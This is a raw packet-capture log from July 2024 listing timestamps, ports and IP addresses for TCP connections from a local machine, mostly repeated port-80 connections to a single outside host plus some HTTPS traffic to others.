Jul 26, 2024 13:50:09.002378941 CEST	80	59140	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:09.002571106 CEST	59140	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:09.002674103 CEST	59141	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:09.236339092 CEST	80	59141	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:09.236371040 CEST	80	59140	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:09.236596107 CEST	59140	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:09.236624956 CEST	59141	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:09.237159014 CEST	59141	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:09.242415905 CEST	80	59141	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:09.920979977 CEST	59109	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:50:09.926213026 CEST	80	59109	34.107.221.82	192.168.2.6
Jul 26, 2024 13:50:10.001580000 CEST	80	59141	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:10.007042885 CEST	59141	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:10.127724886 CEST	59141	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:10.127996922 CEST	59142	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:10.134721994 CEST	80	59142	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:10.134741068 CEST	80	59141	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:10.134902000 CEST	59141	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:10.134902000 CEST	59142	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:10.135267019 CEST	59142	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:10.140069008 CEST	80	59142	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:10.223216057 CEST	59122	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:50:10.229123116 CEST	80	59122	34.107.221.82	192.168.2.6
Jul 26, 2024 13:50:10.913058043 CEST	80	59142	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:10.913158894 CEST	59142	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:10.915802956 CEST	59142	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:10.916074038 CEST	59144	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:10.921099901 CEST	80	59142	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:10.921169043 CEST	59142	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:10.921436071 CEST	80	59144	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:10.921535015 CEST	59144	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:10.921730042 CEST	59144	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:10.926634073 CEST	80	59144	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:12.409974098 CEST	80	59144	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:12.410037994 CEST	80	59144	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:12.410059929 CEST	80	59144	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:12.410250902 CEST	59144	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:12.410250902 CEST	59144	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:12.522037029 CEST	59144	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:12.522449970 CEST	59145	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:12.528795958 CEST	80	59145	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:12.528896093 CEST	59145	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:12.529145956 CEST	59145	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:12.529226065 CEST	80	59144	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:12.529316902 CEST	59144	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:12.534145117 CEST	80	59145	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:13.306924105 CEST	80	59145	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:13.310934067 CEST	59145	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:13.314223051 CEST	59145	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:13.314465046 CEST	59148	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:13.319251060 CEST	80	59148	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:13.319336891 CEST	59148	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:13.319510937 CEST	59148	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:13.320394993 CEST	80	59145	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:13.320470095 CEST	59145	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:13.325859070 CEST	80	59148	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:14.087368011 CEST	80	59148	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:14.088758945 CEST	59109	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:50:14.089498043 CEST	59148	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:14.094506025 CEST	80	59109	34.107.221.82	192.168.2.6
Jul 26, 2024 13:50:14.187248945 CEST	80	59109	34.107.221.82	192.168.2.6
Jul 26, 2024 13:50:14.213996887 CEST	59148	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:14.214279890 CEST	59149	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:14.219408035 CEST	80	59149	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:14.219485044 CEST	59149	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:14.219932079 CEST	59149	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:14.220279932 CEST	80	59148	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:14.220357895 CEST	59148	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:14.225496054 CEST	80	59149	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:14.230695963 CEST	59109	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:50:14.972678900 CEST	80	59149	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:14.976299047 CEST	59149	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:14.980894089 CEST	59149	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:14.986196995 CEST	80	59149	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:15.230585098 CEST	80	59149	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:15.230710983 CEST	59149	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:15.344517946 CEST	59149	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:15.344774961 CEST	59150	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:15.359143972 CEST	80	59150	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:15.359873056 CEST	80	59149	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:15.360259056 CEST	59149	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:15.360259056 CEST	59150	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:15.361346006 CEST	59150	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:15.366682053 CEST	80	59150	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:16.119081020 CEST	80	59150	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:16.119179964 CEST	59150	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:16.121649027 CEST	59150	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:16.121947050 CEST	59151	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:16.127156019 CEST	80	59151	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:16.127254963 CEST	59151	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:16.127388954 CEST	59151	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:16.127559900 CEST	80	59150	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:16.127650023 CEST	59150	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:16.132390976 CEST	80	59151	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:16.349258900 CEST	59152	443	192.168.2.6	35.244.181.201
Jul 26, 2024 13:50:16.349314928 CEST	443	59152	35.244.181.201	192.168.2.6
Jul 26, 2024 13:50:16.357673883 CEST	59122	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:50:16.361797094 CEST	59152	443	192.168.2.6	35.244.181.201
Jul 26, 2024 13:50:16.362272978 CEST	59152	443	192.168.2.6	35.244.181.201
Jul 26, 2024 13:50:16.362289906 CEST	443	59152	35.244.181.201	192.168.2.6
Jul 26, 2024 13:50:16.363104105 CEST	80	59122	34.107.221.82	192.168.2.6
Jul 26, 2024 13:50:16.363847971 CEST	59153	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:16.363925934 CEST	443	59153	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:16.364099026 CEST	59153	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:16.365464926 CEST	59153	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:16.365498066 CEST	443	59153	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:16.452909946 CEST	80	59122	34.107.221.82	192.168.2.6
Jul 26, 2024 13:50:16.527219057 CEST	59122	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:50:16.877408981 CEST	443	59152	35.244.181.201	192.168.2.6
Jul 26, 2024 13:50:16.877419949 CEST	443	59152	35.244.181.201	192.168.2.6
Jul 26, 2024 13:50:16.878650904 CEST	59152	443	192.168.2.6	35.244.181.201
Jul 26, 2024 13:50:16.880511999 CEST	59152	443	192.168.2.6	35.244.181.201
Jul 26, 2024 13:50:16.880522966 CEST	443	59152	35.244.181.201	192.168.2.6
Jul 26, 2024 13:50:16.880836964 CEST	443	59152	35.244.181.201	192.168.2.6
Jul 26, 2024 13:50:16.882345915 CEST	59152	443	192.168.2.6	35.244.181.201
Jul 26, 2024 13:50:16.882345915 CEST	59152	443	192.168.2.6	35.244.181.201
Jul 26, 2024 13:50:16.882536888 CEST	443	59152	35.244.181.201	192.168.2.6
Jul 26, 2024 13:50:16.883107901 CEST	59152	443	192.168.2.6	35.244.181.201
Jul 26, 2024 13:50:16.901216984 CEST	443	59153	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:16.902287006 CEST	59153	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:16.907056093 CEST	59153	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:16.907085896 CEST	443	59153	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:16.907133102 CEST	59153	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:16.908129930 CEST	443	59153	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:16.908262968 CEST	59153	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:16.916229963 CEST	80	59151	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:16.916328907 CEST	59151	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:17.033226967 CEST	59151	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:17.033535004 CEST	59154	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:17.047503948 CEST	80	59154	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:17.048010111 CEST	59154	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:17.048010111 CEST	59154	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:17.052851915 CEST	80	59151	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:17.054773092 CEST	59151	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:17.059343100 CEST	80	59154	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:17.235569954 CEST	59155	443	192.168.2.6	40.113.103.199
Jul 26, 2024 13:50:17.235610962 CEST	443	59155	40.113.103.199	192.168.2.6
Jul 26, 2024 13:50:17.236650944 CEST	59155	443	192.168.2.6	40.113.103.199
Jul 26, 2024 13:50:17.237512112 CEST	59155	443	192.168.2.6	40.113.103.199
Jul 26, 2024 13:50:17.237529993 CEST	443	59155	40.113.103.199	192.168.2.6
Jul 26, 2024 13:50:17.266392946 CEST	59109	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:50:17.275378942 CEST	80	59109	34.107.221.82	192.168.2.6
Jul 26, 2024 13:50:17.282310009 CEST	59156	443	192.168.2.6	34.149.100.209
Jul 26, 2024 13:50:17.282347918 CEST	443	59156	34.149.100.209	192.168.2.6
Jul 26, 2024 13:50:17.284745932 CEST	59156	443	192.168.2.6	34.149.100.209
Jul 26, 2024 13:50:17.286253929 CEST	59156	443	192.168.2.6	34.149.100.209
Jul 26, 2024 13:50:17.286264896 CEST	443	59156	34.149.100.209	192.168.2.6
Jul 26, 2024 13:50:17.288383961 CEST	59157	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:17.288484097 CEST	443	59157	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:17.288594007 CEST	59157	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:17.289937973 CEST	59157	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:17.289974928 CEST	443	59157	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:17.365051031 CEST	80	59109	34.107.221.82	192.168.2.6
Jul 26, 2024 13:50:17.376393080 CEST	59122	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:50:17.381324053 CEST	80	59122	34.107.221.82	192.168.2.6
Jul 26, 2024 13:50:17.433908939 CEST	59109	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:50:17.471173048 CEST	80	59122	34.107.221.82	192.168.2.6
Jul 26, 2024 13:50:17.534549952 CEST	59122	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:50:17.590473890 CEST	59158	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:17.590508938 CEST	443	59158	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:17.590802908 CEST	59159	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:17.590899944 CEST	443	59159	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:17.590971947 CEST	59160	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:17.590992928 CEST	443	59160	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:17.591082096 CEST	59161	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:17.591089964 CEST	443	59161	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:17.591192961 CEST	59162	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:17.591200113 CEST	443	59162	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:17.591320038 CEST	59163	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:17.591336012 CEST	443	59163	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:17.592593908 CEST	59158	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:17.592613935 CEST	59159	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:17.592613935 CEST	59160	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:17.592626095 CEST	59161	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:17.592626095 CEST	59162	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:17.592777967 CEST	59163	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:17.592803955 CEST	59158	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:17.592818975 CEST	443	59158	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:17.592924118 CEST	59163	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:17.592947006 CEST	59162	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:17.592947960 CEST	443	59163	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:17.592958927 CEST	443	59162	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:17.593038082 CEST	59161	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:17.593050003 CEST	443	59161	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:17.593097925 CEST	59160	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:17.593123913 CEST	443	59160	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:17.593158007 CEST	59159	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:17.593178988 CEST	443	59159	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:17.765099049 CEST	443	59156	34.149.100.209	192.168.2.6
Jul 26, 2024 13:50:17.765768051 CEST	59156	443	192.168.2.6	34.149.100.209
Jul 26, 2024 13:50:17.768454075 CEST	443	59157	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:17.770001888 CEST	59156	443	192.168.2.6	34.149.100.209
Jul 26, 2024 13:50:17.770001888 CEST	59156	443	192.168.2.6	34.149.100.209
Jul 26, 2024 13:50:17.770014048 CEST	443	59156	34.149.100.209	192.168.2.6
Jul 26, 2024 13:50:17.770227909 CEST	443	59156	34.149.100.209	192.168.2.6
Jul 26, 2024 13:50:17.771408081 CEST	59157	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:17.771835089 CEST	59156	443	192.168.2.6	34.149.100.209
Jul 26, 2024 13:50:17.775206089 CEST	59157	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:17.775223970 CEST	443	59157	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:17.775269032 CEST	59157	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:17.775415897 CEST	443	59157	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:17.775604010 CEST	59157	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:17.799614906 CEST	59109	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:50:17.804629087 CEST	80	59109	34.107.221.82	192.168.2.6
Jul 26, 2024 13:50:17.817682981 CEST	80	59154	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:17.818382025 CEST	59154	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:17.821595907 CEST	59164	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:17.821655035 CEST	59154	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:17.826414108 CEST	80	59164	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:17.826852083 CEST	80	59154	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:17.827615023 CEST	59154	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:17.827627897 CEST	59164	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:17.827971935 CEST	59164	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:17.831859112 CEST	59165	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:17.831954002 CEST	443	59165	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:17.832787037 CEST	59165	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:17.832794905 CEST	80	59164	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:17.834125042 CEST	59165	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:17.834161043 CEST	443	59165	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:17.928051949 CEST	80	59109	34.107.221.82	192.168.2.6
Jul 26, 2024 13:50:17.979964972 CEST	59122	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:50:17.984827042 CEST	80	59122	34.107.221.82	192.168.2.6
Jul 26, 2024 13:50:18.038606882 CEST	59109	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:50:18.041914940 CEST	443	59155	40.113.103.199	192.168.2.6
Jul 26, 2024 13:50:18.042035103 CEST	59155	443	192.168.2.6	40.113.103.199
Jul 26, 2024 13:50:18.043936968 CEST	59155	443	192.168.2.6	40.113.103.199
Jul 26, 2024 13:50:18.043946028 CEST	443	59155	40.113.103.199	192.168.2.6
Jul 26, 2024 13:50:18.044174910 CEST	443	59155	40.113.103.199	192.168.2.6
Jul 26, 2024 13:50:18.050206900 CEST	443	59162	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:18.050328016 CEST	59162	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:18.053040028 CEST	59162	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:18.053051949 CEST	443	59162	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:18.053301096 CEST	443	59162	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:18.055861950 CEST	59162	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:18.055960894 CEST	59162	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:18.055989027 CEST	443	59162	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:18.056391001 CEST	59166	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:18.056504965 CEST	443	59166	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:18.056914091 CEST	443	59160	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:18.058759928 CEST	59162	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:18.058775902 CEST	59162	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:18.058829069 CEST	59166	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:18.058829069 CEST	59160	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:18.061366081 CEST	59160	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:18.061398029 CEST	443	59160	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:18.061754942 CEST	59166	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:18.061760902 CEST	443	59160	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:18.061784029 CEST	443	59166	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:18.063277960 CEST	59160	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:18.063348055 CEST	59160	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:18.063461065 CEST	59160	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:18.063695908 CEST	443	59159	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:18.063728094 CEST	59167	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:18.063755035 CEST	443	59167	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:18.064019918 CEST	59159	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:18.064040899 CEST	59167	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:18.066621065 CEST	59159	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:18.066637039 CEST	443	59159	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:18.066967010 CEST	59167	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:18.066991091 CEST	443	59167	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:18.067148924 CEST	443	59159	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:18.067349911 CEST	443	59163	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:18.068161011 CEST	59155	443	192.168.2.6	40.113.103.199
Jul 26, 2024 13:50:18.068222046 CEST	59155	443	192.168.2.6	40.113.103.199
Jul 26, 2024 13:50:18.068227053 CEST	443	59155	40.113.103.199	192.168.2.6
Jul 26, 2024 13:50:18.068514109 CEST	59155	443	192.168.2.6	40.113.103.199
Jul 26, 2024 13:50:18.068620920 CEST	59163	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:18.070797920 CEST	443	59158	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:18.071094036 CEST	59163	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:18.071099043 CEST	443	59163	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:18.071405888 CEST	443	59163	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:18.071644068 CEST	59158	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:18.074194908 CEST	59158	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:18.074207067 CEST	443	59158	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:18.074244022 CEST	59159	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:18.074430943 CEST	443	59159	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:18.074528933 CEST	443	59158	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:18.074762106 CEST	59159	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:18.074769974 CEST	443	59159	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:18.075769901 CEST	59168	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:18.075793982 CEST	443	59168	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:18.077116013 CEST	80	59122	34.107.221.82	192.168.2.6
Jul 26, 2024 13:50:18.078457117 CEST	59163	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:18.078531027 CEST	59163	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:18.078825951 CEST	443	59163	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:18.078922987 CEST	59163	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:18.079402924 CEST	59168	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:18.079413891 CEST	59169	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:18.079482079 CEST	443	59169	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:18.079576015 CEST	59168	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:18.079591036 CEST	443	59168	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:18.080543041 CEST	59158	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:18.080606937 CEST	59158	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:18.080739975 CEST	443	59158	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:18.087172985 CEST	59158	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:18.087203026 CEST	59169	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:18.087393045 CEST	59169	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:18.087426901 CEST	443	59169	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:18.090465069 CEST	443	59161	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:18.091188908 CEST	59161	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:18.093681097 CEST	59161	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:18.093687057 CEST	443	59161	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:18.093905926 CEST	443	59161	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:18.095787048 CEST	59161	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:18.095863104 CEST	59161	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:18.095927954 CEST	443	59161	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:18.096409082 CEST	59161	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:18.096409082 CEST	59161	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:18.110759974 CEST	59109	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:50:18.112498999 CEST	443	59155	40.113.103.199	192.168.2.6
Jul 26, 2024 13:50:18.116169930 CEST	80	59109	34.107.221.82	192.168.2.6
Jul 26, 2024 13:50:18.207997084 CEST	80	59109	34.107.221.82	192.168.2.6
Jul 26, 2024 13:50:18.220069885 CEST	59122	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:50:18.230895996 CEST	59122	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:50:18.235913038 CEST	80	59122	34.107.221.82	192.168.2.6
Jul 26, 2024 13:50:18.239511967 CEST	443	59155	40.113.103.199	192.168.2.6
Jul 26, 2024 13:50:18.239877939 CEST	443	59155	40.113.103.199	192.168.2.6
Jul 26, 2024 13:50:18.240212917 CEST	59155	443	192.168.2.6	40.113.103.199
Jul 26, 2024 13:50:18.240365982 CEST	59155	443	192.168.2.6	40.113.103.199
Jul 26, 2024 13:50:18.240382910 CEST	443	59155	40.113.103.199	192.168.2.6
Jul 26, 2024 13:50:18.240422964 CEST	59155	443	192.168.2.6	40.113.103.199
Jul 26, 2024 13:50:18.280577898 CEST	443	59159	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:18.281400919 CEST	59159	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:18.312751055 CEST	443	59165	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:18.320506096 CEST	443	59165	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:18.320864916 CEST	59109	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:50:18.321093082 CEST	59165	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:18.324285984 CEST	59165	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:18.324312925 CEST	443	59165	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:18.324373960 CEST	59165	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:18.324562073 CEST	443	59165	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:18.327456951 CEST	80	59122	34.107.221.82	192.168.2.6
Jul 26, 2024 13:50:18.341126919 CEST	59165	443	192.168.2.6	34.120.208.123
